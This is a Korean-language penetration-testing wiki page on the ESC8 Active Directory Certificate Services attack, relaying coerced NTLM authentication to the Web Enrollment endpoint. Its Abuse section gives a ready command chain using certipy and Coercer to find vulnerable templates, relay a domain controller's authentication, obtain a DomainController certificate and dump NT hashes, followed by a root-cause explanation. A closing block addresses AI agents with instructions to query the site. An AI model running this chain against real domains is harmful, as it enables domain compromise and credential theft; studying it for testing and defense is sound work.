# ESC8

ESC8은 Web Enrollment 기능을 사용하는 ADCS 환경에서 웹 브라우저 접근 시 사용하는 NTLM 인증을 가로채어 다른 클라이언트를 사칭하여 인증서를 발급받을 수 있는 공격입니다.

## Abuse

<pre class="language-bash" data-title="UNIX"><code class="lang-bash"><strong># 취약한 템플릿 열거
</strong>certipy-ad find -u '&#x3C;username>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -vulnerable -stdout -enabled

<strong># relay 서버 오픈
</strong>certipy-ad relay -target 'https://&#x3C;ca-ip>' -template 'DomainController'

<strong># 강제 인증
</strong>python3 Coercer.py coerce -l 10.0.2.10 -t 192.168.1.25 -u Mick3y -p 'Password123!' -d contoso.com -v

<strong># 인증서로부터 nt해시 덤프
</strong>certipy-ad auth -pfx '&#x3C;pfx>' -dc-ip '&#x3C;dc-ip>'
</code></pre>

## Root Cause

도메인 계정이 CA 서버로부터 인증서에 대한 요청을 할 때 대부분의 경우는 클라이언트가 수동으로 하는 경우가 없지만, 인증서 관리를 위해 웹 서비스에서 인증서 요청에 관련한 서비스를 지원합니다.

<figure><img src="/files/YKodoRs1Yjzqo2SZI0JR" alt=""><figcaption><p>web enrollment service</p></figcaption></figure>

Web enrollment 기능은 CA 서버의 certsrv 엔드포인트에서 이용 가능합니다. 때문에 curl 도구로 CA의 certsrv 엔드포인트에 요청 시 반환되는 상태 코드에 따라 웹 서비스 이용 가능 여부를 파악할 수 있습니다.

<figure><img src="/files/hUGlz9uEsrI78kI7HeVB" alt=""><figcaption><p>certsrv 접근 결과</p></figcaption></figure>

ESC8은 강제 인증 취약점이 있는 환경에서, 도메인 컨트롤러가 공격자 서버로 인증하도록 강제할 수 있습니다. 도메인 컨트롤러는 SMB 인증을 위해 NTLM 인증을 하게 되고, 이 패킷을 가로채어 공격자는 CA 웹 서비스에 인증서 요청을 할 수 있습니다.

<figure><img src="/files/ImZiBFzvwYIoemmlV0G0" alt=""><figcaption><p><a href="https://www.crowe.com/cybersecurity-watch/exploiting-ad-cs-a-quick-look-at-esc1-esc8">https://www.crowe.com/cybersecurity-watch/exploiting-ad-cs-a-quick-look-at-esc1-esc8</a></p></figcaption></figure>

## References

{% embed url="<https://www.encryptionconsulting.com/mitigating-esc1-and-esc8-vulnerability-in-active-directory/>" %}

{% embed url="<https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/certificate-authority-web-enrollment>" %}

{% embed url="<https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc8-ntlm-relay-to-ad-cs-web-enrollment>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/active-directory/adcs/esc8.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
